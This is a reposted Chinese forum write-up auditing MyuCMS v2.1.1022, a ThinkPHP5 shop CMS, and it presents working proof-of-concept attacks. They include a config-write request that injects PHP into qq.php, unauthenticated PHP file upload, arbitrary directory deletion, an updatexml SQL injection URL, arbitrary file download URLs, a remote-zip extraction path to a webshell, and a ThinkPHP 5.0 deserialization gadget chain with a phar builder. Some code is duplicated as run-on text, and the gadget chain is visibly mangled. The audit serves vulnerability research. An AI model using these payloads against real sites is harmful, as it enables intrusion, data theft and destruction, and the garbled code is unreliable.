安全矩阵

 找回密码
 立即注册
搜索
查看: 2264|回复: 0

代码审计 TP5二开myucms

[复制链接]

189

主题

191

帖子

903

积分

高级会员

Rank: 4

积分
903
发表于 2022-5-30 22:27:14 | 显示全部楼层 |阅读模式

原文链接:代码审计 TP5二开myucms (qq.com)





版本:v2.1.1022
下载地址:https://down.easck.com/code/59956.html#xzdz
1

介绍
Myucms是基于ThinkPHP5开发的,是一个商城内容管理系统
路由访问
http://localhost:81/index.php/bbs/index/index
2

熟悉TP框架
首先查看有没有开启错误回显、是否开启全局过滤、伪静态后缀

  1. // 错误显示信息,非调试模式有效
  2. 'error_message'
  3. // 显示错误信息
  4. 'show_error_msg'
  5. => '页面错误!请稍后再试~',
  6. => false,
  7. // 默认全局过滤方法 用逗号分隔多个
  8. 'default_filter'
  9. => '',
  10. // URL伪静态后缀
  11. 'url_html_suffix'
  12. => 'html',
复制代码

找到一处添加板块的方法,看源码
编辑
源码如下。看到接受传参的方式是一个 input(post.) ,通过post传参获取所有的内容。直接将获
取的结果使用add方法进行添加,这里的 $data 是一个数组的形式,所以这种情况下不会导致注入
问题
  
  1. public function add()
  2. {
  3. $category = new CategoryModel();
  4. if (request()->isPost()) {
  5. $data = input('post.');
  6. $data['time'] = time();
  7. if ($category->add($data)) {
  8. return json(array('code' => 200, 'msg' => '添加成功'));
  9. } else {
  10. return json(array('code' => 0, 'msg' => '添加失败'));
  11. }
  12. }
  13. $gzc = $category->catetree();
  14. $this->assign('gzc', $gzc);
  15. return view();
  16. }
复制代码

还有一处edit的方法,有一个单独传参的 input('id') ,id是会根据主键去查询内容,这里的id就是个int类型。虽然这个源码没有设置全局过滤,但是这里也不能导致注入产生


  1. public function edit()
  2. {
  3. $category = new CategoryModel();
  4. if (request()->isPost()) {
  5. $data = input('post.');
  6. if ($category->edit($data)) {
  7. return json(array('code' => 200, 'msg' => '修改成功'));
  8. } else {
  9. return json(array('code' => 0, 'msg' => '修改失败'));
  10. }
  11. }
  12. $gzc = $category->find(input('id'));
  13. $gzcs = $category->catetree();
  14. $this->assign(array('gzcs' => $gzcs, 'gzc' => $gzc));
  15. return view();
  16. }
  17. 以下这几种查询,会将语句变为数组,防止了SQL注入的产生
  18. db('category')->where('id', $change)->update(['sidebar' => 0]);
  19. if($banner->destroy(input('post.id'))){
复制代码


3
文件上传漏洞

在系统管理->网站配置处存在一处上传,首先看一下上传的功能代码

编辑
先上传一个图片,看一下路由,然后根据路由找到相应的文件
编辑

来到 application/admin/controller/Upload.php/upfile ,这里首先会验证session,需要登陆。然
后调用了 model->upfile

  1. public function upfile()
  2. {
  3. if (!session('userid') || !session('username')) {
  4. $this->error('亲!请登录',url('bbs/login/index'));
  5. } else {
  6. return json($this->model->upfile('files'));
  7. }
  8. }
复制代码
跟踪 model->upfile ,因为这个控制器继承了model模块,所以这里需要找到model下的upfile方法。

最终找到Up继承了Model类,上面的调用会来到这里

  1. public function upfile($type,$filename = 'file',$is_water = false){
  2. if (config('web.qiniuopen') == 1) {
  3. $driverConfig = array('secrectKey' => config('web.secrectKey'), 'accessKey'
  4. => config('web.accessKey'), 'domain' => config('web.domain'), 'bucket' =>
  5. config('web.bucket'));
  6. $setting = array('rootPath' => './', 'saveName' => array('uniqid', ''),
  7. 'hash' => true);
  8. $setting['exts'] = explode(',', config('web.WEB_RXT'));
  9. $setting['maxSize'] = 50 * 1024 * 1024;
  10. $File = $_FILES['file'];
  11. $Upload = new Upload($setting, 'Qiniu', $driverConfig);
  12. $info = $Upload->uploadOne($File);
  13. if ($info) {
  14. ......
  15. //默认会进入else判断
  16. } else {
  17. $file = request()->file($filename);
  18. $md5 = $file->hash('md5');
  19. $n = Db::name('file')->where('md5', $md5)->find();
  20. if (empty($n)) {
  21. $info = $file->validate(['size' => 50 * 1024 * 1024, 'ext' =>
  22. config('web.WEB_RXT')])->move(ROOT_PATH . DS . 'uploads');
  23. if ($info) {
  24. $path = DS . 'uploads' . DS . $info->getSaveName();
  25. $path = str_replace("\", "/", $path);
  26. $realpath = WEB_URL . $path;
  27. $data['sha1'] = $info->sha1();
  28. $data['md5'] = $info->md5();
  29. $data['create_time'] = time();
  30. $data['uid'] = session('userid');
  31. $data['download'] = 0;
  32. $data['size'] = $info->getSize();
  33. $fileinfo = $info->getInfo();
  34. $data['name'] = $fileinfo['name'];
  35. $data['ext'] = $info->getExtension();



  36. $data['savepath'] = $path;
  37. $data['savename'] = $info->getFilename();
  38. $data['mime'] = $fileinfo['type'];
  39. Db::name('file')->insert($data);
  40. $res = Db::name('file')->getLastInsID();
  41. if ($res > 0) {
  42. return array('code' => 200, 'msg' => '上传成功', 'hasscore' =>
  43. 0, 'ext' => $data['ext'], 'id' => $res, 'path' => $path, 'headpath' => $realpath, 'md5'
  44. => $data['md5'], 'savename' => $data['savename'], 'filename' => $data['name'], 'info'
  45. => $info->getInfo());
  46. } else {
  47. return array('code' => 0, 'msg' => '上传失败');
  48. }
  49. } else {
  50. return array('code' => 0, 'msg' => $file->getError());
  51. }
  52. } else {
  53. $path = $n['savepath'];
  54. $realpath = WEB_URL . $path;
  55. return array('code' => 200, 'msg' => '上传成功', 'hasscore' => 1, 'ext'
  56. => $n['ext'], 'id' => $n['id'], 'path' => $path, 'headpath' => $realpath, 'md5' =>
  57. $n['md5'], 'savename' => $n['savename'], 'filename' => $n['name'], 'info' => $n);
  58. }
  59. }
复制代码
这里通过request()->file($filename),获取全部的文件。通过下面的处理文件上传的方式会获取到 \$_FILE 的所有内容
  1. public function file($name = '')
  2. {
  3. if (empty($this->file)) {
  4. $this->file = isset($_FILES) ? $_FILES : [];
  5. }
  6. if (is_array($name)) {
  7. return $this->file = array_merge($this->file, $name);
  8. }
  9. $files = $this->file;
  10. if (!empty($files)) {
  11. // 处理上传文件
  12. $array = [];
  13. foreach ($files as $key => $file) {
  14. if (is_array($file['name'])) {
  15. $item = [];
  16. $keys = array_keys($file);
  17. $count = count($file['name']);
  18. for ($i = 0; $i < $count; $i++) {
  19. if (empty($file['tmp_name'][$i]) || !is_file($file['tmp_name']
  20. [$i])) {
  21. continue;
  22. }



  23. $temp['key'] = $key;
  24. foreach ($keys as $_key) {
  25. $temp[$_key] = $file[$_key][$i];
  26. }
  27. $item[] = (new File($temp['tmp_name']))->setUploadInfo($temp);
  28. }
  29. $array[$key] = $item;
  30. } else {
  31. if ($file instanceof File) {
  32. $array[$key] = $file;
  33. } else {
  34. if (empty($file['tmp_name']) || !is_file($file['tmp_name'])) {
  35. continue;
  36. }
  37. $array[$key] = (new File($file['tmp_name']))-
  38. >setUploadInfo($file);
  39. }
  40. }
  41. }
  42. if (strpos($name, '.')) {
  43. list($name, $sub) = explode('.', $name);
  44. }
  45. if ('' === $name) {
  46. // 获取全部文件
  47. return $array;
  48. } elseif (isset($sub) && isset($array[$name][$sub])) {
  49. return $array[$name][$sub];
  50. } elseif (isset($array[$name])) {
  51. return $array[$name];
  52. }
  53. }
  54. return;
复制代码
$temp['key'] = $key;foreach ($keys as $_key) {$temp[$_key] = $file[$_key][$i];}$item[] = (new File($temp['tmp_name']))->setUploadInfo($temp);}$array[$key] = $item;} else {if ($file instanceof File) {$array[$key] = $file;} else {if (empty($file['tmp_name']) || !is_file($file['tmp_name'])) {continue;}$array[$key] = (new File($file['tmp_name']))->setUploadInfo($file);}}}if (strpos($name, '.')) {list($name, $sub) = explode('.', $name);}if ('' === $name) {// 获取全部文件return $array;} elseif (isset($sub) && isset($array[$name][$sub])) {return $array[$name][$sub];} elseif (isset($array[$name])) {return $array[$name];}}return;如果上传过一次文件,文件会保存在数据库的file表,然后存储。
编辑
这里是通过 $file->hash('md5'); 计算,然后再通过 Db::name('file')->where('md5', $md5)-
>find(); 去查询,如果有内容,就会返回那个路径信息,不会覆盖上传。
在这里会验证上传的后缀类型,后缀白名单判断。
  1. $info = $file->validate(['size' => 50 * 1024 * 1024, 'ext' => config('web.WEB_RXT')])-
  2. >move(ROOT_PATH . DS . 'uploads');
复制代码
在application/extra/web.php中可以看到
'

  1. WEB_RXT'=>'rar,png,zip,jpg,gif,ico'
  2. 如果验证成功会在move方法进行文件上传
  3. /* 移动文件 */
  4. if ($this->isTest) {
  5. rename($this->filename, $filename);
  6. } elseif (!move_uploaded_file($this->filename, $filename)) {
  7. $this->error = 'upload write error';
  8. return false;
  9. }
复制代码
  • 如何导致任意文件上传?
在 application/admin/controller/Config.php/add 方法中,可以将获取的参数添加到web.php

           

    1. public function add()
    2. {
    3. $path = 'application/extra/web.php';
    4. $file = include $path;
    5. $config = array(
    6. 'WEB_RXT' => input('WEB_RXT'),
    7. 'WEB_GL' => input('WEB_GL'),
    8. 'WEB_REG' => input('WEB_REG'),
    9. 'WEB_TAG' => input('WEB_TAG'),
    10. 'WEB_OPE' => input('WEB_OPE'),
    11. 'WEB_BUG' => input('WEB_BUG'),
    12. 'WEB_BBS' => input('WEB_BBS'),
    13. 'WEB_SHOP' => input('WEB_SHOP'),
    14. 'WEB_INDEX' => input('WEB_INDEX'),
    15. 'WEB_KEJIAN' => input('WEB_KEJIAN'),
    16. 'WEB_KEJIANS' => input('WEB_KEJIANS'),
    17. 'Cascade' => input('Cascade'),
    18. //七牛
    19. 'bucket' => input('bucket'),
    20. 'accessKey' => input('accessKey'),
    21. 'secrectKey' => input('secrectKey'),
    22. 'domain' => input('domain'),
    23. 'qiniuopen' => input('qiniuopen'),
    24. );
    25. $res = array_merge($file, $config);
    26. $str = '<?php return [';
    27. foreach ($res as $key => $value) {
    28. $str .= '\'' . $key . '\'' . '=>' . '\'' . $value . '\'' . ',';
    29. }
    30. $str .= ']; ';
    31. if (file_put_contents($path, $str)) {
    32. return json(array('code' => 200, 'msg' => '修改成功'));
    33. } else {
    34. return json(array('code' => 0, 'msg' => '修改失败'));
    35. }
    复制代码

这个方法在网站配置->更多设置 处进行更改。这里的附件格式可控,那么就可以添加一个新后
缀,然后写入web.php,再次进行上传的时候验证白名单,而白名单就是我们自己设置的。这样
就可以导致一处任意文件上传。

编辑
4

思考

既然这里可以修改任意的后缀,可以修改任意的内容,如果这里不进行参数过滤是否有办法达写
入webshell
直接访问web.php是空白的,因为再写入的时候开头会有个return,但是在add方法中也看到了存
在包含的关系
$path = 'application/extra/web.php';
$file = include $path;
在上面熟悉TP代码的时候,是没有看到全局过滤的,那么就可以直接写入 '];phpinfo();// 写入一
段代码
可以看到是写入成功的
编辑

其他几处亦是如此,找一个内容少的qq.php,尝试利用


  1. public function addqq()
  2. {
  3. $path = 'application/extra/qq.php';
  4. $file = include $path;
  5. $config = array(
  6. 'qq-appid' => input('qq-appid'),
  7. 'qq-appkey' => input('qq-appkey'),
  8. 'qq-callback' => input('qq-callback'),
  9. );
  10. $res = array_merge($file, $config);
  11. $str = '<?php return [';
  12. foreach ($res as $key => $value) {
  13. $str .= '\'' . $key . '\'' . '=>' . '\'' . $value . '\'' . ',';
  14. }
  15. $str .= ']; ';
  16. if (file_put_contents($path, $str)) {
  17. return json(array('code' => 200, 'msg' => '修改成功'));
  18. } else {
  19. return json(array('code' => 0, 'msg' => '修改失败'));
  20. }
  21. }
复制代码
构造poc写入文件


  1. GET:
  2. http://192.168.0.100:81/admin.php/config/addqq.html
  3. POST:
  4. qq-appid=0000&qq-appkey=00000&qq-
  5. callback=http://www.xxx.com/index/qq/qqcb.html',file_put_contents("NaMi.php","success")];/
复制代码


写入成功是这样
  1. <?php return ['qq-appid'=>'0000','qq-appkey'=>'00000','qq-
  2. callback'=>'http://www.xxx.com/index/qq/qqcb.html',file_put_contents("NaMi.php","success")
复制代码

然后访问 application/extra/qq.php ,就会在当前目录生成一个php文件
编辑
来到前台的上传 application/index/controller/Upload.php ,看如下两个方法都是请求上传。使
用 $this->model->upfile 来发起上传请求
  1. public function upimage()
  2. {
  3. if (!session('userid') || !session('username')) {
  4. $this->error('亲!请登录',url('bbs/login/index'));
  5. } else {
  6. return json($this->model->upfile('images'));
  7. }
  8. }
  9. public function upfile()
  10. {
  11. if (!session('userid') || !session('username')) {
  12. $this->error('亲!请登录',url('bbs/login/index'));
  13. } else {
  14. return json($this->model->upfile('files'));
  15. }
  16. }
复制代码
发起的请求会来到upfile方法,上面已经知道了web.php可以重写覆盖,那么就可以写入一个新的
后缀来进行一个任意文件上传。
public function upfile($type,$filename = 'file',$is_water = false){

5

任意文件上传
在application/admin/controller/Shops.php/doUploadPic

  1. public function doUploadPic()
  2. {
  3. $file = request()->file('FileName');
  4. $info = $file->move(ROOT_PATH . DS . 'uploads');
  5. if($info){
  6. $path = WEB_URL . DS . 'uploads' . DS .$info->getSaveName();
  7. echo str_replace("\","/",$path);
  8. }
  9. }
复制代码


  • 界面功能点在商城管理->商品管理->添加商品
编辑
此处就是获取一个 FileName ,然后调用 move 方法进行移动。

  1. public function move($path, $savename = true, $replace = true)
  2. {
  3. // 文件上传失败,捕获错误代码
  4. if (!empty($this->info['error'])) {
  5. $this->error($this->info['error']);
  6. return false;
  7. }
  8. // 检测合法性
  9. if (!$this->isValid()) {
  10. $this->error = 'upload illegal files';
  11. return false;
  12. }
  13. // 验证上传
  14. if (!$this->check()) {
  15. return false;
  16. }
  17. $path = rtrim($path, DS) . DS;
  18. // 文件保存命名规则
  19. $saveName = $this->buildSaveName($savename);
  20. $filename = $path . $saveName;
  21. // 检测目录
  22. if (false === $this->checkPath(dirname($filename))) {
  23. return false;
  24. }
  25. // 不覆盖同名文件
  26. if (!$replace && is_file($filename)) {
  27. $this->error = ['has the same filename: {:filename}', ['filename' =>
  28. $filename]];
  29. return false;
  30. }
  31. /* 移动文件 */
  32. if ($this->isTest) {
  33. rename($this->filename, $filename);
  34. } elseif (!move_uploaded_file($this->filename, $filename)) {
  35. $this->error = 'upload write error';
  36. return false;
  37. }
  38. // 返回 File 对象实例
  39. $file = new self($filename);
  40. $file->setSaveName($saveName)->setUploadInfo($this->info);
  41. return $file;
  42. }
复制代码

  • 这里相比于上面的上传没有进行validate验证,直接可以上传文件且没有验证session
$file->validate(['size' => 50 * 1024 * 1024, 'ext' => config('web.WEB_RXT')])
上传php
编辑
好多文件都存在这个doUploadPic方法
6

任意文件删除漏洞
这里的代码也是很直接,没有验证身份,没有进行过滤,直接调用 deleteun 方法进行文件删除


  1. public function un()
  2. {
  3. $info = $_GET['info'];
  4. $res=deleteun(ROOT_PATH.'application/bbs/view'.DS.$info);
  5. if ($res) {
  6. return json(array('code' => 200, 'msg' => '删除成功'));
  7. }else{
  8. return json(array('code' => 0, 'msg' => '删除失败'));
  9. }
  10. }
复制代码







  • 跟踪 deleteun 方法,这个方法有点危险直接删除了目录下的所有内容,必须是指定目录才可以循
环删除

  1. //循环删除目录和文件函数
  2. function deleteun($dir_name)
  3. {
  4. $result = false;
  5. if (is_dir($dir_name)) {
  6. if ($handle = opendir($dir_name)) {
  7. while (false !== ($item = readdir($handle))) {
  8. if ($item != '.' && $item != '..') {
  9. if (is_dir($dir_name . DS . $item)) {
  10. deleteun($dir_name . DS . $item);
  11. } else {
  12. unlink($dir_name . DS . $item);
  13. }
  14. }
  15. }
  16. closedir($handle);
  17. if (rmdir($dir_name)) {
  18. $result = true;
  19. }
  20. }
  21. }
  22. return $result;
  23. }
复制代码

7
前台SQL注入漏洞
在 application/bbs/controller/User.php/xiaoxidel 处,此处是前台bbs模块的一个消息阅读和消息删除的功能

  1. public function xiaoxidel($ids)
  2. {
  3. if (!session('userid') || !session('username')) {
  4. $this->error('亲!请登录',url('bbs/login/index'));
  5. } else {
  6. if ($ids==0) {
  7. $id = input('id');
  8. $data['open'] = 1;
  9. if (Db::name('xiaoxi')->where("id = {$id}")->where('userid',
  10. session('userid'))->update($data)) {
  11. return json(array('code' => 200, 'msg' => '标记已读成功'));
  12. } else {
  13. return json(array('code' => 0, 'msg' => '标记已读失败'));
  14. }
  15. }elseif ($ids==1){
  16. $id = input('id');
  17. if (Db::name('xiaoxi')->where("id = {$id}")->where('userid',
  18. session('userid'))->delete($id)) {
  19. return json(array('code' => 200, 'msg' => '彻底删除成功'));
  20. } else {
  21. return json(array('code' => 0, 'msg' => '彻底删除失败'));
  22. }
  23. }
  24. }
  25. }
复制代码


  • 对应的功能图片
编辑
这里前台模块需要编写路由才能正常点击跳转,否则只能在浏览器拼接路径去访问。正常应该
是 /index.php/bbs/user/shoucang.html
编辑
这里的标记阅读和删除阅读的内容都存在SQL注入漏洞,主要是在where语句。此处直接拼接的
SQL语句。如果改为数组形式的传参就可以避免此处的问题 where("id",$id) ,后台的增删改查功
能都是使用这样的条件语句


  1. if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))-
  2. >update($data)) {
  3. if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))-
  4. >delete($id)) {
复制代码

if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->update($data)) {if (Db::name('xiaoxi')->where("id = {$id}")->where('userid', session('userid'))->delete($id)) {正常访问 index.php/bbs/user/xiaoxidel/ids/0/id/1
编辑
构造非法的请求,在TP的报错页面可以看到生成的SQL语句
编辑
构造注入参数

           

/index.php/bbs/user/xiaoxidel/ids/0/id/1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)


8

多个SQL注入

在 application/bbs/controller/index.php/bankuai ,同样存在以上问题

           

  •        

  1. public function bankuai()
  2. {
  3. $id = input('id');
  4. if (empty($id)) {
  5. return $this->error('亲!你迷路了');
  6. } else {
  7. $category = Db::name('category');
  8. $c = $category->where("id = {$id}")->find();
  9. 在 application/shop/controller/Index.php/grid 列表功能
  10. public function grid($or)
  11. {
  12. $or = input('or');
  13. $this->assign('or', $or);
  14. $id = input('id');
  15. $this->assign('id', $id);
  16. if (empty($id)) {
  17. $open['open'] = 1;
  18. $gzc = Db::name('shops')->alias('f')->join('shopcate c', 'c.id=f.tid')-
  19. >join('member m', 'm.userid=f.uid')->field('f.*,c.id as
  20. cid,m.userid,m.userhead,m.username,c.name,c.description')->where($open)-
  21. >order('f.settop desc , f.'.$or.' desc') -> paginate(16,false,['query' => request()-
  22. >param()]);
  23. $this->assign('gzc', $gzc);
  24. $shopcate = Db::name('shopcate');
  25. $gzcz = $shopcate->where("tid = 0")->order('sort desc')->select();
  26. $gjmz = $shopcate->where("tid != 0")->order('sort desc')->select();
  27. $this->assign('gzcz', $gzcz);
  28. $this->assign('gjmz', $gjmz);
  29. $ids = -1;
  30. $this->assign('ids', $ids);
  31. } else {
  32. $shopcate = Db::name('shopcate');
  33. $c = $shopcate->where("id = {$id}")->find();
  34. if ($c) {
  35. $shopcate = Db::name('shopcate');
  36. $gzcz = $shopcate->where("tid = 0")->order('sort desc')->select();
  37. $gjmzt = $shopcate->where("id = {$id}")->value('tid');
复制代码



  • 通过全局搜索还是有很多存在注入问题,虽然有的验证了sessions,但是前台可以注册,注册完之
后就会生成session
编辑
9

任意文件下载
在 application/bbs/controller/Index.php/download 处是一个文件下载功能


  1. public function download($url, $name, $local)
  2. {
  3. $down = new Http();
  4. if ($local == 1) {
  5. $down->download($url, $name);
  6. } else {
  7. }
  8. }
  9. 调用了 HTTP->download ,跟踪这个类。判断是否是个文件,然后读取内容下载文件
  10. static public function download ($filename, $showname='',$content='',$expire=180) {
  11. if(is_file($filename)) {
  12. $length = filesize($filename);
  13. }elseif($content != '') {
  14. $length = strlen($content);
  15. }else {



  16. throw_exception($filename.L('下载文件不存在!'));
  17. }
  18. if(empty($showname)) {
  19. $showname = $filename;
  20. }
  21. $showname = basename($showname);
  22. if(!empty($filename)) {
  23. $type = mime_content_type($filename);
  24. }else{
  25. $type
  26. = "application/octet-stream";
  27. }
  28. //发送Http Header信息 开始下载
  29. header("Pragma: public");
  30. header("Cache-control: max-age=".$expire);
  31. //header('Cache-Control: no-store, no-cache, must-revalidate');
  32. header("Expires: " . gmdate("D, d M Y H:i:s",time()+$expire) . "GMT");
  33. header("Last-Modified: " . gmdate("D, d M Y H:i:s",time()) . "GMT");
  34. header("Content-Disposition: attachment; filename=".$showname);
  35. header("Content-Length: ".$length);
  36. header("Content-type: ".$type);
  37. header('Content-Encoding: none');
  38. header("Content-Transfer-Encoding: binary" );
  39. if($content == '' ) {
  40. readfile($filename);
  41. }else {
  42. echo($content);
  43. }
  44. exit();
  45. }
复制代码
调用这个方法下载任意文件

  1. http://localhost:81/index.php/bbs/index/download/url/index.php/name/index.php/l
  2. ocal/1
  3. http://localhost:81/index.php/bbs/index/download?
  4. url=thinkphp/start.php&name=&local=1
复制代码


编辑
10

任意文件下载2
在 application/admin/controller/Index.php/sj 处,存在可控传参 title ,然后调用了 getFile、

  1. public function sj()
  2. {
  3. $xiazai = $_POST['title'];
  4. $url=$xiazai.urlencode(iconv("GB2312","UTF-8",""));
  5. $save_dir = 'runtime/myucms/';
  6. $filename ='shengji.zip';
  7. $res = getFile($url, $save_dir, $filename,0);
  8. return json(array('code' => 200, 'msg' => '升级成功'));
  9. }
复制代码
跟踪到getFile文件,此处传递的参数一一对应,在下方 $fp2 = @fopen($save_dir . $filename,'a'); 进行了文件写入,写入的内容就是 title 可控的文件,生成的文件名就是 $filename


  1. function getFile($url, $save_dir = '', $filename = '', $type = 0) {
  2. if (trim($url) == '') {
  3. return false;
  4. }
  5. if (trim($save_dir) == '') {
  6. $save_dir = './';
  7. }
  8. if (0 !== strrpos($save_dir, '/')) {
  9. $save_dir.= '/';
  10. }
  11. if (!file_exists($save_dir) && !mkdir($save_dir, 0777, true)) {



  12. return false;
  13. }
  14. if ($type) {
  15. $ch = curl_init();
  16. $timeout = 5;
  17. curl_setopt($ch, CURLOPT_URL, $url);
  18. curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
  19. curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);
  20. $content = curl_exec($ch);
  21. curl_close($ch);
  22. } else {
  23. ob_start();
  24. readfile($url);
  25. $content = ob_get_contents();
  26. ob_end_clean();
  27. }
  28. $size = strlen($content);
  29. $fp2 = @fopen($save_dir . $filename, 'a');
  30. fwrite($fp2, $content);
  31. fclose($fp2);
  32. unset($content, $url);
  33. }
复制代码
return false;}if ($type) {$ch = curl_init();$timeout = 5;curl_setopt($ch, CURLOPT_URL, $url);curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout);$content = curl_exec($ch);curl_close($ch);} else {ob_start();readfile($url);$content = ob_get_contents();ob_end_clean();}$size = strlen($content);$fp2 = @fopen($save_dir . $filename, 'a');fwrite($fp2, $content);fclose($fp2);unset($content, $url);}执行任意文件下载,会显示升级成功,那么文件去哪里了?

编辑
文件会在 runtime/myucms/shengji.zip 这里,直接访问下载这里不能直接打开,需要修改名字为
编辑
index.php
读取到文件
编辑
可以读文件,那么就可以读取远程文件,然后写到服务器。
看这段,这是解压的方法,直接解压固定路径的zip文件。通过上面我们可以任意的写入文件,然
后可以通过这个解压的操作解压出一个php文件
//解压

  1. public function ad()
  2. {
  3. $zip = new \ZipArchive;
  4. if ($zip->open('runtime/myucms/shengji.zip') === TRUE)
  5. {
  6. $zip->extractTo('application');
  7. $zip->close();
  8. unlink('runtime/myucms/shengji.zip');
  9. header("content-type:text/html;charset=utf-8");
  10. header('location:/admin.php/index/home.html');
  11. }
  12. }
复制代码

读取远程服务器文件,写入 runtime/myucms/shengji.zip
编辑

调用ad方法进行解压
http://localhost:81/admin.php/index/ad
然后就可以访问解压的文件了
http://localhost:81/application/exp.php
编辑
11

Phar反序列化

php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序
列化,受影响的函数如下:

编辑
利用Phar反序列化首先需要一条TP5.0的链子,下面也是百度来的
  1. <?php
  2. namespace think\process\pipes{
  3. use think\model\Pivot;
  4. ini_set('display_errors',1);
  5. class Windows{
  6. private $files = [];
  7. public function __construct($function,$parameter)
  8. {
  9. $this->files = [new Pivot($function,$parameter)];
  10. }
  11. }
  12. $aaa = new Windows('system','whoami');
  13. echo base64_encode(serialize($aaa));}
  14. namespace think{
  15. abstract class Model
  16. {}
  17. }
  18. namespace think\model{
  19. use think\Model;
  20. use think\console\Output;
  21. class Pivot extends Model
  22. {
  23. protected $append = [];
  24. protected $error;
  25. public $parent;
  26. public function __construct($function,$parameter)
  27. {
  28. $this->append['jelly'] = 'getError';
  29. $this->error = new relation\BelongsTo($function,$parameter);
  30. $this->parent = new Output($function,$parameter);
  31. }
  32. }
  33. abstract class Relation
  34. {}
  35. }
  36. namespace think\model\relation{
  37. use think\db\Query;
  38. use think\model\Relation;
  39. abstract class OneToOne extends Relation
  40. class BelongsTo extends OneToOne
  41. {
  42. {}
  43. protected $selfRelation;
  44. protected $query;
  45. protected $bindAttr = [];
  46. public function __construct($function,$parameter)
  47. {
  48. $this->selfRelation = false;
  49. $this->query = new Query($function,$parameter);
  50. $this->bindAttr = [''];
  51. }
  52. }
  53. }
  54. namespace think\db{
  55. use think\console\Output;
  56. class Query
  57. {
  58. protected $model;
  59. public function __construct($function,$parameter)
  60. {
  61. }
  62. $this->model = new Output($function,$parameter);
  63. }
  64. }
  65. namespace think\console{
  66. use think\session\driver\Memcache;
  67. class Output
  68. {
  69. protected $styles = [];
  70. private $handle;
  71. public function __construct($function,$parameter)
  72. {
  73. $this->styles = ['getAttr'];
  74. $this->handle = new Memcache($function,$parameter);
  75. }
  76. }



  77. }
  78. namespace think\session\driver{
  79. use think\cache\driver\Memcached;
  80. class Memcache
  81. {
  82. protected $handler = null;
  83. protected $config = [
  84. 'expire'
  85. => '',
  86. 'session_name' => '',
  87. ];
  88. public function __construct($function,$parameter)
  89. {
  90. $this->handler = new Memcached($function,$parameter);
  91. }
  92. }
  93. }
  94. namespace think\cache\driver{
  95. use think\Request;
  96. class Memcached
  97. {
  98. protected $handler;
  99. protected $options = [];
  100. protected $tag;
  101. public function __construct($function,$parameter)
  102. {
  103. $this->options = ['prefix' => 'jelly/'];
  104. $this->tag = true;
  105. $this->handler = new Request($function,$parameter);
  106. }
  107. }
  108. }
  109. namespace think{
  110. class Request
  111. {
  112. protected $get
  113. = [];
  114. protected $filter;
  115. public function __construct($function,$parameter)
  116. {
  117. $this->filter = $function;
  118. $this->get = ["jelly"=>$parameter];
  119. }
  120. }
  121. }
复制代码

然后找到Phar反序列化的触发点,以上给的函数都可触发Phar反序列化,所以可以在源代码中寻
在前台的download方法中,参数可控,可导致Phar反序列化。这里直接注册个会员就可以
  1. <?php
  2. namespace think\process\pipes{
  3. use think\model\Pivot;
  4. ini_set('display_errors',1);
  5. class Windows{
  6. private $files = [];
  7. public function __construct($function,$parameter)
  8. {
  9. $this->files = [new Pivot($function,$parameter)];
  10. }
  11. }
  12. $aaa = new Windows('system','whoami');
  13. echo base64_encode(serialize($aaa));}
  14. namespace think{
  15. abstract class Model
  16. {}
  17. }
  18. namespace think\model{
  19. use think\Model;
  20. use think\console\Output;
  21. class Pivot extends Model
  22. {
  23. protected $append = [];
  24. protected $error;
  25. public $parent;
  26. public function __construct($function,$parameter)
  27. {
  28. $this->append['jelly'] = 'getError';
  29. $this->error = new relation\BelongsTo($function,$parameter);
  30. $this->parent = new Output($function,$parameter);
  31. }
  32. }
  33. abstract class Relation
  34. {}
  35. }
  36. namespace think\model\relation{
  37. use think\db\Query;
  38. use think\model\Relation;
  39. abstract class OneToOne extends Relation
  40. class BelongsTo extends OneToOne
  41. {
  42. {}
  43. protected $selfRelation;
  44. protected $query;
  45. protected $bindAttr = [];
  46. public function __construct($function,$parameter)
  47. {
  48. $this->selfRelation = false;
  49. $this->query = new Query($function,$parameter);
  50. $this->bindAttr = [''];
  51. }
  52. }
  53. }
  54. namespace think\db{
  55. use think\console\Output;
  56. class Query
  57. {
  58. protected $model;
  59. public function __construct($function,$parameter)
  60. {
  61. }
  62. $this->model = new Output($function,$parameter);
  63. }
  64. }
  65. namespace think\console{
  66. use think\session\driver\Memcache;
  67. class Output
  68. {
  69. protected $styles = [];
  70. private $handle;
  71. public function __construct($function,$parameter)
  72. {
  73. $this->styles = ['getAttr'];
  74. $this->handle = new Memcache($function,$parameter);
  75. }
  76. }



  77. }
  78. namespace think\session\driver{
  79. use think\cache\driver\Memcached;
  80. class Memcache
  81. {
  82. protected $handler = null;
  83. protected $config = [
  84. 'expire'
  85. => '',
  86. 'session_name' => '',
  87. ];
  88. public function __construct($function,$parameter)
  89. {
  90. $this->handler = new Memcached($function,$parameter);
  91. }
  92. }
  93. }
  94. namespace think\cache\driver{
  95. use think\Request;
  96. class Memcached
  97. {
  98. protected $handler;
  99. protected $options = [];
  100. protected $tag;
  101. public function __construct($function,$parameter)
  102. {
  103. $this->options = ['prefix' => 'jelly/'];
  104. $this->tag = true;
  105. $this->handler = new Request($function,$parameter);
  106. }
  107. }
  108. }
  109. namespace think{
  110. class Request
  111. {
  112. protected $get
  113. = [];
  114. protected $filter;
  115. public function __construct($function,$parameter)
  116. {
  117. $this->filter = $function;
  118. $this->get = ["jelly"=>$parameter];
  119. }
  120. }
  121. }
复制代码

接着构造Phar反序列化payload,$object就是上面反序列化链的对象,自行更改

  1. $phar = new Phar('phar.phar');
  2. $phar -> stopBuffering();
  3. $phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
  4. $phar -> addFromString('test.txt','test');
  5. $object = new AnyClass();
  6. $phar -> setMetadata($object);
  7. $phar -> stopBuffering();
复制代码

生成Phar文件
编辑
前台存在上传,由于是白名单,可将phar的后缀改为gif,进行上传
index.php/index/upload/upimage.html
编辑
readfile触发Phar反序列化
编辑

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-30 02:49 , Processed in 0.015512 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

